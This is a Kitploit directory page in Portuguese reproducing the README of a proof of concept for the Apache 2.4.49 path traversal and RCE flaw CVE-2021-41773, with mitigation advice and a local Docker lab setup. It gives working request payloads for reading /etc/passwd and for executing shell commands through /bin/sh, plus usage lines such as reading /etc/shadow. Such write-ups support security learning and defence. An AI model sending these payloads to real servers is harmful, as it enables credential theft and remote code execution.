Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-41773 — Prueba de concepto de CVE-2021-41773 | Kitploit
Ferramentas/GitHubGitHub/joapath/cve-2021-41773
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubjoapath/cve-2021-41773

CVE-2021-41773

Prueba de concepto de CVE-2021-41773

Ver Repositório
há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-41773 — PoC: Path Traversal + RCE via mod_cgi

Apenas para uso em ambientes controlados e próprios. Não usar contra sistemas sem autorização.


Descrição

PoC desenvolvida para demonstrar e entender a vulnerabilidade CVE-2021-41773, presente no Apache HTTP Server 2.4.49.

A falha reside na função ap_normalize_path(), que não validava corretamente os caracteres codificados em URL. Isso permitia que um atacante saísse do DocumentRoot por meio de uma sequência de caracteres codificados (%2e%2e%2f em vez de ../), lendo arquivos arbitrários do sistema.

Quando o módulo mod_cgi estava habilitado, a vulnerabilidade escalava para RCE (Remote Code Execution), permitindo executar comandos diretamente no servidor com as permissões do processo Apache.


Condições necessárias para a exploração

O servidor deve atender todas estas condições para ser vulnerável:

CondiçãoDetalhe
Versão do ApacheExatamente 2.4.49
Diretiva de acessoRequire all granted na configuração
Módulo CGImod_cgi habilitado (apenas para RCE)

Como funciona o ataque

Fase 1 — Path Traversal

Apache 2.4.49 filtrava o clássico ../, mas não sua versão codificada em URL. O atacante constrói um caminho que o filtro não detecta, mas que o sistema operacional interpreta corretamente:

root@kitploit:~
GET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

%2e%2e%2f é a codificação URL de ../. Apache deixava passar, o SO resolvia, e o resultado era acesso a arquivos fora do diretório web.

Fase 2 — RCE via mod_cgi

Com mod_cgi ativo, o path traversal é usado para apontar para /bin/sh em vez de um arquivo. Apache o trata como um script CGI e o executa. O comando viaja no body do POST como um script shell mínimo:

root@kitploit:~
POST /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin/sh

#!/bin/sh
echo 'Content-Type: text/plain'
echo
id 2>&1

A saída do comando chega na resposta HTTP.


Ambiente de testes

A forma mais limpa de reproduzir a vulnerabilidade é com Docker:

root@kitploit:~
docker run -d -p 8080:80 --name apache-vuln ghcr.io/blasty/CVE-2021-41773

Ou com uma imagem manual do Apache 2.4.49 com a configuração vulnerável:

root@kitploit:~
<Directory />
    Require all granted
</Directory>

Vou deixar os arquivos de configuração que utilizei para o teste.

Decisões técnicas para o exploit

  • Por que 'urllib3' e não 'requests'?

    requests re-codifica automaticamente os caracteres do path antes de enviá-los. Isso quebra o payload porque o servidor recebe %252e em vez de %2e. urllib3 permite enviar o path sem modificações.

  • Por que .%2e/ e não %2e%2e/?
    Apache filtra %2e%2e/ no módulo mod_rewrite. A variante .%2e/ é semanticamente equivalente, mas passa pelo filtro, porque a normalização do path ocorre após a validação.

Limitações

  • O módulo mod_cgi deve estar habilitado para que o modo RCE funcione. Sem ele, apenas é possível o path traversal.
  • O exploit não funciona se o Apache estiver atrás de um WAF que filtre encoding duplo no path.
  • Testado apenas contra Apache 2.4.49 no Linux. A versão 2.4.50 requer um bypass adicional (ver CVE-2021-42013).

Uso do script

root@kitploit:~
python PoC_2021-41773.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

Argumentos

Exemplos

Ler /etc/passwd do servidor

python PoC_2021-41773.py --target http://localhost:8080 --mode traversal

Executar o comando 'id'

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd id

Executar um comando com espaços

python PoC_2021-41773.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Saída esperada — modo traversal

root@kitploit:~
=======================================================
  CVE-2021-41773 — Apache 2.4.49 Path Traversal + RCE
  PoC com fins educativos — Apenas em ambientes próprios
=======================================================

[+] Modo: Path traversal
[+] Objetivo: http://localhost:8080
[+] URL Construída: http://localhost:8080/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
[+] Enviando request...

Servidor Vulnerável, Status code: 200
=== Conteúdo de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Saída esperada — modo rce

root@kitploit:~
[+] Modo: RCE via mod_cgi
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] Enviando request...

[+] RCE confirmados

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Mitigação

  • Atualizar Apache para a versão 2.4.51 ou superior.
  • Configurar Require all denied como valor padrão.
  • Desabilitar mod_cgi se não for estritamente necessário.

Referências

  • Rapid7 — CVE-2021-41773 Exploited in the Wild
  • Qualys — Path Traversal & RCE Analysis
  • NVD — CVE-2021-41773

⚠️ Este repositório é apenas para fins educativos.
O uso deste exploit contra sistemas sem autorização expressa é ilegal.
Testado exclusivamente em ambientes locais controlados.

PoC desenvolvida com fins educativos para portfólio de segurança ofensiva.

Baixar ferramenta
ArgumentoObrigatórioDescrição
--targetSimURL base do servidor (ex: http://localhost:8080)
--modeSimtraversal para ler arquivos, rce para executar comandos
--cmdNãoComando a executar no modo rce (padrão: id)